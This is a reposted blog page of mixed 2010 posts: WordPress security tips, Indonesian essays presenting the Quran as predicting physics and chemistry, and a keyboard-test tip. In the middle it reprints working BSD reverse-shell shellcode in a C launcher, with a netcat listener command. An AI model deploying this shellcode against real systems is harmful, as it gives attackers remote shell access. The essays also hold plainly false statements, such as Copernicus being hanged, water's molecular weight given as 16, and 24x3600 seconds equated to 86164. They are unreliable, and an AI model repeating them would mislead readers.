TRANSLATE

English French German Spain Italian Dutch
Russian Portuguese Japanese Korean Arabic Chinese Simplified
Showing posts with label iptek. Show all posts
Showing posts with label iptek. Show all posts

Monday, September 20, 2010

how to protect blog from hacking

Following the famous saying, “Security is only as strong as its weakest link,” security is very essential, especially when it comes to doing online things. A single weak link can be used to compromise all your hard work and even online identity. With wordpress being used as a CMS solution for most of the blogs out there, we present a comprehensive list of tips, tricks and measures that you should take so that you never get hacked.

Always Keep Your WordPress Updated

WordPress is an open source, GPL licensed blogging platform that has become the de-facto standard for all bloggers in recent years. Since it was developed by the wordpress community, various security holes are often found and reported back to the community. The community patches the possible security holes and releases a new version of WordPress. Updating your wordpress install to the latest available version automatically secures you against security flaws in the earlier versions.
Using a Strong Password

Needless to say, you should always have a very strong password for your blogging account. Don’t include dictionary words in your passwords as they can easily be cracked using brute force methods. Here are some tips on choosing strong passwords:
1. Do not include dictionary words
2. Do not make your birth date or phone number as passwords. They are fairly easy to guess
3. Do not include dictionary words
4. Use a combination of upper and lower case letter
5. Use a combination of letters, numbers and signs
6. Always make sure, you have a alpha-numeric combination in your passwords
Take Regular Backup Your Databases

Precaution is better than cure. So, make it a habit to take regular backups of your databases. Database is a place where each and everything regarding your blog is stored. If you have a backup, you’ll never lose anything regardless of whatever may happen to the blog. Having a backup also serves a purpose of restoring the blog to a previous instance of time in case anything bad happens. You can use the WP-DB-Backup plugin to make this task easier.
Hide Your WordPress Version

Many times, a malicious hacker just scans the entire blog database with a script that searches for earlier and non patched wordpress installs. In case, you didn’t get time to update your wordpress install, you may fall for the trap since you have a older install with possible open security holes. To combat this situation, you should always delete the meta version line from the header.php file inside your wordpress install.
Double Check Your File Permissions

Incorrect file permissions are the most widely used exploit by malicious users and hackers who are trying to take down your blog. A single incorrect file permission may lead a sensitive directory exposed and ultimately, your blog to be hacked. So, it’s always recommended that you have correct permissions set to each and every file in your blog installation. Some files are meant to be public and some are not.
Preventing Brute Force Attacks

Brute Forcing is a technique that is used by hackers to take down your account. In brute forcing, each and every possible combination for password is tried from a defined dictionary. To prevent this, the best option is having a really strong password. In addition to that, you can limit the login attempts to your blog’s admin are with the Login Lockdown plugin. This will not only ensure that you don’t fall prey to a hacking attempt, but will also limit the number of attempts used to get access to the admin area.
Protect Your Configuration File

As a matter of fact, wordpress stores all your details including your username and password in plain-text in the wp-config.php file in the directory. Now, if you have incorrect file permissions set, this sensitive information may be out in public. To make sure that doesn’t happen at least for this file, you can put this piece of code in your .htaccess file:
order allow,deny
deny from all

This will set the correct file permissions and will prevent anyone from viewing this file.
Use WordPress AntiVirus

AntiVirus is a free and very useful wordpress security plugin that helps you protect your blog from all possible virus infections. It has many special features that constantly scans and checks your blog for any virus infections and sends and email alert if it finds anything that’s malicious. 
Conclusion

Today, we discussed all the possible measures that you can take to make sure that your blog never gets hacked. Do let us know if you find our tips and tricks useful. Also, if you have any other tips and tricks on how to prevent your blog from hacking attempts, we would love to hear them.

----------------------------
from any source

Saturday, August 7, 2010

reverse-portshell

/* reverse-portshell *BSD shellcode by noir       */
/* local usage: ./reverse-shell 192.168.2.33      */
/* remote:  nc -n -v -v -l -p 6969                */ 
/* listen on 6969/tcp      */
/* noir@gsu.linux.org.tr     */


char shellcode[] = 
{
  0x31,0xc9,0x51,0x41,   
  0x51,0x41,0x51,0x51,
  0x31,0xc0,0xb0,0x61,
  0xcd,0x80,0x89,0x07,
  0x31,0xc9,0x88,0x4f, 
  0x04,0xc6,0x47,0x05,
  0x02,0xc7,0x47,0x08,
  0xc0,0xa8,0x01,0x45, //ipaddr
  0x66,0xc7,0x47,0x06,   
  0x1b,0x39,0x6a,0x10,
  0x8d,0x47,0x04,0x50,  
  0x8b,0x07,0x50,0x50,
  0x31,0xc0,0xb0,0x62,   
  0xcd,0x80,0x31,0xc9,
  0x51,0x8b,0x07,0x50,   
  0x50,0x31,0xc0,0xb0,
  0x5a,0xcd,0x80,0x41,   
  0x83,0xf9,0x03,0x75,
  0xef,0x31,0xc9,0x51,   
  0x51,0x31,0xc0,0xb0,
  0x17,0xcd,0x80,0xeb,   
  0x23,0x5b,0x89,0x1f,
  0x31,0xc9,0x88,0x4b,   
  0x07,0x89,0x4f,0x04,
  0x51,0x8d,0x07,0x50,   
  0x8b,0x07,0x50,0x50,
  0x31,0xc0,0xb0,0x3b,   
  0xcd,0x80,0x31,0xc9,
  0x51,0x51,0x31,0xc0,   
  0xb0,0x01,0xcd,0x80,
  0xe8,0xd8,0xff,0xff,   
  0xff,0x2f,0x62,0x69,
  0x6e,0x2f,0x73,0x68,   
  0x41
};


int main(int argc, char ** argv)
{
  void (*f) (void);
  unsigned int d;

  if(!argv[0])
    exit(0);

  d = inet_addr(argv[1]);
  printf("IP: %lx shellcode len: %d\n", d, strlen(shellcode));


  shellcode[28] = d & 0xff ;
  shellcode[29] = (d >> 8) & 0xff;
  shellcode[30] = (d >> 16) & 0xff;
  shellcode[31] = (d >> 24) & 0xff;


  f =  (void *) shellcode;
  f();
}
/*                  



Tuesday, August 3, 2010

Alquran Menghitung Kecepatan Cahaya

NAMA Albert Einstein melekat dengan dunia fisika dan menjadi ikon fisika modern.
Rumus E = mc2 dianggap sebagai rumus Einstein yang dalam pandangan awam merupakan "rumus" untuk membuat bom atom. Albert Einstein memang pantas dianggap sebagai tokoh utama yang memimpin revolusi di dunia fisika.

Salah satu teorinya yang mendobrak paradigma fisika berbunyi "kecepatan cahaya merupakan tetapan alam yang besarannya bersifat absolut dan tidak bergantung kepada kecepatan sumber cahaya dan kecepatan pengamat".

Menurut Einstein, tidak ada yang mutlak di dunia ini (termasuk waktu) kecuali kecepatan cahaya. Selain itu, kecepatan cahaya adalah kecepatan tertinggi di alam ini. Artinya, tidak mungkin ada (materi) yang kecepatannya melebihi kecepatan cahaya. Pendapat Einstein ini mendapat dukungan dari hasil percobaan yang dilakukan pada akhir abad ke-19 dan awal abad ke-20 oleh Michelson-Morley, Fizeu, dan Zeeman.

Di mata awam, postulat Einstein ini memunculkan banyak keanehan. Misalnya, sejak dulu logika kita berpendapat bahwa jika kita bergerak dengan kecepatan v1 di atas kendaraan yang berkecepatan v2, kecepatan total kita terhadap pengamat yang diam adalah v1 + v2. Tetapi, menurut Einstein, cara penghitungan tersebut salah karena dapat mengakibatkan munculnya kecepatan yang melebihi kecepatan cahaya. Oleh karena itu, menurut Einstein, formula penjumlahan kecepatan yang benar adalah sebagai berikut:

(v1 +v2) / (1+(v1 x v2 / c2 )).


Sinodik dan Siderial

Dalam menghitung gerakan benda langit, digunakan dua sistem yaitu Sinodik dan Siderial. Sistem Sinodik didasarkan pada gerakan semu Bulan dan Matahari dilihat dari Bumi. Sistem ini menjadi dasar perhitungan kalender Masehi di mana satu bulan = 29,53509 hari.

Sistem Siderial didasarkan pada gerakan relatif Bulan dan Matahari dilihat dari bintang jauh (pusat semesta). Sistem ini menjadi dasar perhitungan kalender Islam (Hijriah) di mana satu bulan = 27,321661 hari. Ahli-ahli astronomi selalu mendasarkan perhitungan gerak benda langit (mechanical of Celestial) kepada sistem Siderial karena dianggap lebih eksak dibandingkan sistem Sinodik yang mengandalkan penampakan semu dari Bumi.

Sinyal dari Alquran

Mengetahui besaran kecepatan cahaya adalah sesuatu yang sangat menarik bagi manusia. Sifat unik cahaya yang menurut Einstein adalah satu-satunya komponen alam yang tidak pernah berubah, membuat sebagian ilmuwan terobsesi untuk menghitung sendiri besaran kecepatan cahaya dari berbagai informasi .

Seorang ilmuwan matematika dan fisika dari Mesir, Dr. Mansour Hassab Elnaby merasa adanya sinyal-sinyal dari Alquran yang membuat ia tertarik untuk menghitung kecepatan cahaya, terutama berdasarkan data-data yang disajikan Alquran. Dalam bukunya yang berjudul A New Astronomical Quranic Method for The Determination of the Speed C, Mansour Hassab Elnaby menguraikan secara jelas dan sistematis tentang cara menghitung kecepatan cahaya berdasarkan redaksi ayat-ayat Alquran. Dalam menghitung kecepatan cahaya ini, Mansour menggunakan sistem yang lazim dipakai oleh ahli astronomi yaitu sistem Siderial.

Ada beberapa ayat Alquran yang menjadi rujukan Dr. Mansour Hassab Elnaby. Pertama, "Dialah (Allah) yang menciptakan Matahari bersinar dan Bulan bercahaya dan ditetapkannya tempat bagi perjalanan Bulan itu, agar kamu mengetahui bilangan tahun dan perhitungan " (Q.S. Yunus ayat 5).

Kedua, " Dialah (Allah) yang menciptakan malam dan siang, matahari dan bulan masing-masing beredar dalam garis edarnya" (Q.S. Anbia ayat 33).

Ketiga, "Dia mengatur urusan dari langit ke Bumi, kemudian (urusan) itu kembali kepadaNya dalam satu hari yang kadarnya seribu tahun menurut perhitunganmu" (Q.S. Sajdah ayat 5).

Dari ayat-ayat di atas dapat diambil kesimpulan bahwa jarak yang dicapai "sang urusan" selama satu hari adalah sama dengan jarak yang ditempuh
Bulan selama 1.000 tahun atau 12.000 bulan. Dalam bukunya, Dr. Mansour menyatakan bahwa "sang urusan" inilah yang diduga sebagai sesuatu "yang berkecepatan cahaya ".

Hitungan Alquran

Dari ayat di atas dan menggunakan rumus sederhana tentang kecepatan, kita mendapatkan persamaan sebagai berikut:

C x t = 12.000 x L ...............(1)

C = kecepatan "sang urusan" atau kecepatan cahaya

t = kala rotasi Bumi = 24 x 3600 detik = 86164,0906 detik

L = jarak yang ditempuh Bulan dalam satu edar = V x T

Untuk menghitung L, kita perlu menghitung kecepatan Bulan. Jika kecepatan Bulan kita notasikan dengan V, maka kita peroleh persamaan:

V = (2 x  x R) / T

R = jari-jari lintasan Bulan terhadap Bumi = 324264 km

T = kala Revolusi Bulan = 655,71986 jam, sehingga diperoleh

V = 3682,07 km / jam (sama dengan hasil yang diperoleh NASA)

Meski demikian, Einstein mengusulkan agar faktor gravitasi Matahari dieliminir terlebih dahulu untuk mendapatkan hasil yang lebih eksak.

Menurut Einstein, gravitasi matahari membuat Bumi berputar sebesar :

a = Tm / Te x 360°

Tm = Kala edar Bulan = 27,321661 hari

Te = Kala edar Bumi = 365,25636 hari, didapat a= 26,92848°

Besarnya putaran ini harus dieliminasi sehingga didapat kecepatan eksak
Bulan adalah

Ve= V cos a.

Jadi, L = ve x T, di mana T kala edar Bulan = 27,321661 hari = 655,71986
jam

Sehingga L = 3682,07 x cos 26,92848° x 655,71986 = 2152612,336257 km

Dari persamaan (1) kita mendapatkan bahwa C x t = 12.000 x L

Jadi, diperoleh C = 12.000 x 2152612,336257 km / 86164,0906 detik

C = 299.792,4998 km /detik



Hasil hitungan yang diperoleh oleh Dr. Mansour Hassab Elnaby ternyata sangat mirip dengan hasil hitungan lembaga lain yang menggunakan peralatan sangat canggih. Berikut hasilnya :

Hasil hitung Dr. Mansour Hassab Elnaby C = 299.792,4998 km/detik

Hasil hitung US National Bureau of Standard C = 299.792,4601 km/ detik

Hasil hitung British National Physical Labs C = 299.792,4598 km/detik

Hasil hitung General Conf on Measures C = 299.792,458 km/detik

Penutup

Lepas dari benar tidaknya interpretasi yang dilakukan oleh Dr. Mansour Hassab Elnaby, usaha demikian menunjukkan betapa kitab suci Alquran memiliki tantangan bagi para ilmuwan untuk lebih kreatif dan tajam dalam mengungkap fenomena-fenomena alam.

Boleh jadi, apa yang disajikan Dr. Mansour Hassab Elnaby merupakan bukti tambahan bahwa Alquran benar-benar datang dari Sang Khalik.***

--------------------------

dari berbagai sumber

Asal mula penciptaan alam semesta

Bagaimana alam semesta berawal adalah pertanyaan yang mempesona manusia sepanjang jaman.

Pada abad ke16 Copernicus mengemukakan teori bahwa matahari tidak mengelilingi bumi tapi bumilah yang justru mengelilingi matahari. Dia pun dihukum gantung karena dianggap bertentangan dengan dogma gereja pada waktu itu yang menyatakan bumi sebagai pusat alam semesta. Pada abad ke 17 Galileo Galilei dengan teleskop ciptaannya mampu membuktikan bahwa bumi mengelilingi matahari.

Pada tahun 1929 Edwin Hubble menciptakan teleskop Hubble di abservatoriumnya di Mountwilson, California. Setelah berbulan-bulan melakukan pengamatan, dia menemukan bahwa bintang-bintang semakin hari menunjukkan warna semakin merah. Dalam hukum Fisika dikenal jika benda semakin menjauhi titik pengamatan akan menunjukkan spectrum merah, sedangkan benda yang mendekati titik pengamatan menunjukkan spectrum biru. Itu artinya benda-benda luar angkasa kian hari semakin menjauhi satu sama lainnya atau dengan kata lain alam semesta semakin meluas. Edwin Huble kemudian melakukan perhitungan mundur. Jika benda-benda angkasa semakin menjauh berarti dahulunya benda-benda angkasa bermula dari sesuatu yang padu (satu) dan kemudian meledak dengan kecepatan yang luar biasa. Menurut perhitungan yang cermat para ilmuan menyimpulkan bahwa sesuatu yang padu (satu) itu haruslah bervolume nol. Jika suatu benda bervolume nol itu artinya sesuatu itu berawal dari ketiadaan. Dengan kata lain sesuatu yang padu itu diciptakan. Lalu muncullah teori yang sangat terkenal yang disebut teori big bang (ledakan besar).

Sebelum Edwin Huble menemukan kenyataan ini, melalui perhitungan yang cermat Albert Einstein sebenarnya telah memperhitungkan bahwa ruang angkasa tidak statis melainkan terus meluas, tetapi pendapat itu disimpannya karena pada waktu itu pendapat yang mengatakan bahwa alam semesta bersifat statis (tidak berawal dan kekal) sangat populer. Pendapat tentang alam semesta statis ini dikemukakan oleh para pendukung materialisme (atheis). Walaupun Edwin Huble sudah menemukan kenyataan bahwa alam semesta bersifat meluas para pendukung materialisme tetap tidak mau mengakui adanya kebenaran ini.

Mereka tetap berkeyakinan bahwa alam semesta tidak berawal dan bersifat kekal. Mereka hendak mengingkari adanya penciptaan. Dengan kata lain mereka mengingkari adanya Tuhan yang menciptakan alam semesta. Pendapat mereka ini sebenarnya dipengaruhi oleh filsafat Yunani kuno yang mengatakan bahwa materi tidak berawal dan tidak berakhir. Dengan berbagai cara mereka menyanggah pendapat Edwin Hubble dan Albert Einstein ini. Mereka menyanggahnya dengan metode filsafat yang menimbulkan perdebatan tak berujung.

Di tahun 1948 ahli fisaka Amerika George Gemof mengemukakan seandainya alam semesta ini dulunya adalah satu dan kemudian meledak maka pasti ledakan besar itu meninggalkan sisa-sisa radiasi di ruang angkasa. Pada tahun 1965 dua orang ilmuan Arnold Pengias dan Robert Wilson menemukan sisa-sisa radiasi yang tersebar di ruang angkasa. Atas penemuannya itu, mereka berdua memperoleh hadiah Nobel.

Pada tahun 1989 NASA meluncurkan satelit ke luar angkasa untuk meneliti tentang gejala radiasi alam semesta. Melalui sensor-sensor yang dipasang disatelit yang disebut sensor kobe mereka menangkap adanya radiasi sisa-sisa ledakan besar yang menyebar diseluruh ruang angkasa. Penemuan ini menghebohkan dunia dan media masa.

Newsweek bahkan dalam sampul majalahnya menulis : Science telah menemukan Tuhan. Fisikawan Inggris Stephen Hawking menyebutkan penemuan ini sebagai penemuan terbesar dalam bidang astronomi di abad ini bahkan mungkin sepanjang masa. Belakangan salah satu dari orang-orang yang menentang adanya tuhan mengaku bahwa mereka mempertahankan pendapat alam statis bukan karena mereka yakin akan kebenaran pendapat mereka tapi karena berharap pendapat mereka benar sehingga fakta adanya penciptaan dan tuhan dapat mereka sangkal.

Coba simak dua ayat Al-Quran dibawah ini :
“Dan Apakah orang-orang yang kafir tidak mengetahui bahwasanya langit dan bumi itu keduanya dahulu adalah suatu yang PADU, kemudian Kami pisahkan antara keduanya. dan dari air Kami jadikan segala sesuatu yang hidup. Maka Mengapakah mereka tiada juga beriman?” (Al Anbiyaa 21:30)

“Dan langit itu Kami bangun dengan kekuasaan (Kami) dan Sesungguhnya Kami benar-benar
berkuasa MELUASKANNYA” (Adz zaariyaat 51:47)

Jika Al Quran itu hanyalah karangan Muhammad, lalu mungkinkah 14 abad yang lalu ketika ilmu pengetahuan belum secanggih sekarang, seorang manusia di tengah gurun yang gersang di Arab bisa mengetahui bahwa alam semesta diciptakan dari sesuatu yang padu dan kemudian meluas?

Hanya Alloh yang Tahu

---------------------
dari berbagai sumber

Air Zat yang Tidak Biasa

Secara biasa atau sepintas lalu, pernyataan judul di atas tidak biasa. Semua orang akan berkata bahwa air itu adalah zat yang amat biasa. Marilah kita simak! Seperti pernah dijelaskan dalam seri 009, ilmu pengetahuan harus dibina atas landasan Tawhid. Dengan demikian sumber ilmu pengetahuan itu adalah wahyu, alam dan sejarah. Wahyu berwujud Ayat Qawliyah, alam dan sejarah disebut Ayat Kawniyah. Namun khusus untuk pembahasan mengenai air ini tentu saja sumber informasi yang dipakai adalah wahyu dan alam, karena ruang lingkupnya adalah ilmu eksakta.

Kita mulai dahulu dari sumber informasi wahyu.
Berfirman Allah dalam S. Al Anbiyaa' ayat 30: Wa ja'alnaa minalmaai kulla syay.in hayyin, afalaa yu'minuwn.,
artinya: Dan Kami jadikan segala sesuatu yang hidup dari air, apakah mereka tidak beriman? Kebenaran wahyu harus diterima dengan iman.

amun untuk memahami wahyu dengan baik, harus memakai akal. Langkah pertama dalam mempergunakan akal adalah memikirkan makna ayat di atas itu. Kalau air itu diciptakan Allah sebagai sumber kehidupan, maka air itu adalah zat yang tidak biasa, artinya sangat istimewa. Lalu bagaimana istimewanya? Untuk menjawabnya haruslah mempergunakan akal untuk langkah berikutnya. Yaitu dalam hal ini kita pergunakan sumber informasi yang kedua, yakni alam. Dan dalam hal ini masuklah kita ke daerah ilmu / sains. Demikianlah metode pendekatan yang dipakai dalam cakrawala: Wahyu dan Akal - Iman dan Ilmu.

Tubuh manusia dalam bentuk bayi di dalam rahim berenang selama 9 bulan dalam air. Kemudian setelah lahir tubuh manusia terdiri atas sel-sel yang hidup. Setiap sel di dalamnya berisi air dengan larutan bermacam-macam zat. Darah kita lebih dari 90 % terdiri dari air. Ginjal terdiri atas sekitar 82 % air. Otot mengandung sekitar 75 % air. Lever 69 % air. Bahkan tulang yang kelihatannya kering terdiri atas 22 % air. Secara keseluruhan tubuh kita terdiri atas 71 % air di takar dalam berat. Dan air ini menguap, mengalir dari permukaan tubuh, dikeluarkan waktu menghembuskan nafas, dan secara sinambung harus diganti agar tetap 71 % untuk dapat mempertahankan hidup dengan ruh di dalam diri manusia.

Tetapi yang disebutkan di atas itu hanya menyangkut dengan tubuh manusia. Ayat di atas menyebutkan kullu syay.in, segala sesuatu. Maka perlu disimak lebih lanjut. Rumus kimia air H2O, berat molekulnya 16. Kita bandingkan dengan 3 saudaranya yang lain: H2Te (Te lambang tellurium), berat molekulnya 129. H2Se (Se lambang selenium) berat molekulnya 80. Dan H2S (S lambang sulfur/belerang) berat molekulnya 34. Jadi air yang teringan di antara ketiga saudaranya itu. Secara logika makin berat makin sukar mendidih. Dan ini benar untuk ketiga saudara air tersebut dan juga untuk saudara-saudara air lainnya. H2Te mendidih pada -4 derajat C, H2Se mendidih pada -42 derajat C, jadi lebih rendah karena lebih ringan, berikut H2S mendidih pada -61 derajat C, lebih rendah lagi karena lebih ringan dari H2Se. Jadi kalau air itu termasuk zat yang biasa, maka titik didihnya akan lebih rendah dari -61 derajat C, karena air lebih ringan dari asam belerang H2S. Tetapi kenyataannya air mendidih pada 100 derajat C.

Jadi Allah menciptakan air secara tidak biasa untuk keprluan hidup makhluk. Dengan titik didih air yang menyimpang itu maka air dalam keadaan udara luar, wujudnya dapat berupa tiga Fase / tingkat: es, air dan uap. Apa peranannya dalam kehidupan makhluk di permukaan bumi. Makhluk tidak dapat minum air, karena jika air itu adalah zat biasa, maka air dalam bentuk cair hanya didapatkan di bawah suhu -61 derajat C. Bukan itu saja, es timbul dalam air. Dan ini juga tidak biasa, karena zat yang lain tenggelam dalam zat cairnya. Coba bayangkan jika Allah SWT menciptakan air itu sebagai zat biasa, artinya es tenggelam dalam air. Di musim dingin air sungai dan danau di tempat yang ada musim dinginnya, air akan membeku dari bawah. Maka makhluk air akan mati semua. Inilah caranya Allah menjaga makhluk air supaya dapat tetap hidup di musim dingin. Air membeku dari atas, sampai cukup tebal, maka lapisan di bawah es tetap cair. Makhluk air berenang-renang dan tetap hidup di bawah lapisan es.

Bukan itu saja, air adalah zat pelarut yang paling rakus. Ini juga tidak biasa. Andaikata Allah menciptakan air dengan sifat biasa, tumbuh-tumbuhan, binatang dan manusia tidak mungkin dapat menyerap makanan yang dibutuhkannya, karena seperti kita ketahui makanan yang diserap oleh ketiga makhluk tersebut adalah berupa zat-zat yang larut dalam air.

Bukan itu saja. Air adalah zat yang paling rakus menyerap panas. Sebagai perbandingan bacalah data berkut: Panas penguapan air, 539,55, alkohol 204, asam belerang 122,1, bensin 94,3, terpentin 68,6, semua dalam kal/gr. Sifat rakus panas ini juga tidak biasa. Andai kata air diciptakan Allah dengan sifat biasa, maka bayangkanlah hal berikut: uap air di udara tidak banyak menyerap panas sinar matahari. Maka di siang hari seperti di gurun sahara yang kering udaranya, telur dapat matang di pasir. Di waktu malam dingin menusuk ke tulang sumsum. Keringat yang menguap di badan kita tidak cukup untuk melepaskan panas dari tubuh kita.

Coba bayangkan terus andaikata air membeku dari bawah, maka air akan berkurang. Juga uap air di udara akan berkurang pula. Artinya kita disengat panas di siang hari dan disengat dingin di malam hari, walaupun tidak berada di gurun pasir. Jadi dengan kombinasi ketidak biasaan air: es timbul di air dan air rakus menyerap panas, maka ketidak biasaan air ini mengontrol iklim seperti kedaan sekarang ini, makhluk dapat bertahan hidup.

Bukan itu saja, air mempunyai tegangan permukaan yang paling besar di antara zat yang kita kenal. Akibatnya adalah yang kita kenal sebagai gejala kapilaritas, dan timbulnya tekanan osmotik yang tinggi. Dengan kapilaritas air dapat naik setinggi pohon yang tertinggi di dunia ini. Dan dengan tekanan osmotik yang tinggi, air dapat menembus lapisan akar tumbuh-tumbuhan dan menembus pembuluh darah kita.

Demikianlah Allah menciptakan air sebagai zat yang tidak biasa. Air khusus didisain oleh Allah SWT untuk kehidupan, seperti diinformasikan melalui wahyu dalam S. Al Anbiyaa , ayat 30. WaLlahu a'lamu bishshawab.

---------------------------
dari berbagai sumber

Cara melihat kualitas Keyboard pada Komputer / Laptop

Keyboard merupakan salah satu perangkat penting yang sering kita pakai pada saat menggunakan komputer. tanpa adanya Keyboard, tentu saja komputer Anda tidak akan bisa bekerja dengan maksimal.
Disini Saya kasih cara untuk mengetest apakah keyboard Anda benar-benar handal atau tidak...

Anda cukup mengetikkan kalimat “the quick brown fox jumps over the lazy dog” tetapi dengan cara-cara sebagai berikut :


  • Buka Notepad pada komputer Anda. Start => All Programs => Accessories => Notepad
  • Tekan dan tahan tombol shift kiri dan shift kanan pada Keyboard anda.
  • Ketik kalimat “the quick brown fox jumps over the lazy dog”. (Ingat tombolshift kiri dan shift kanan jangan di lepas).
  • Lihat apakah tulisan yang keluar lengkap sesuai dengan kata-kata di atas atau ada huruf yang hilang.
Semakin banyak huruf yang tidak keluar, maka semakin tidak bagus kualitas keyboard Anda.

Mengapa harus menulis kalimat “the quick brown fox jumps over the lazy dog” ?

Karena kata-kata tersebut merupakan sebuah kalimat yang berisi semua huruf dalam alfabet yang biasa digunakan untuk menguji mesin tik dan keyboard komputer, dan dalam aplikasi lain yang melibatkan semua huruf dalam abjad Inggris..

Selamat Mencoba
------------------------------------------------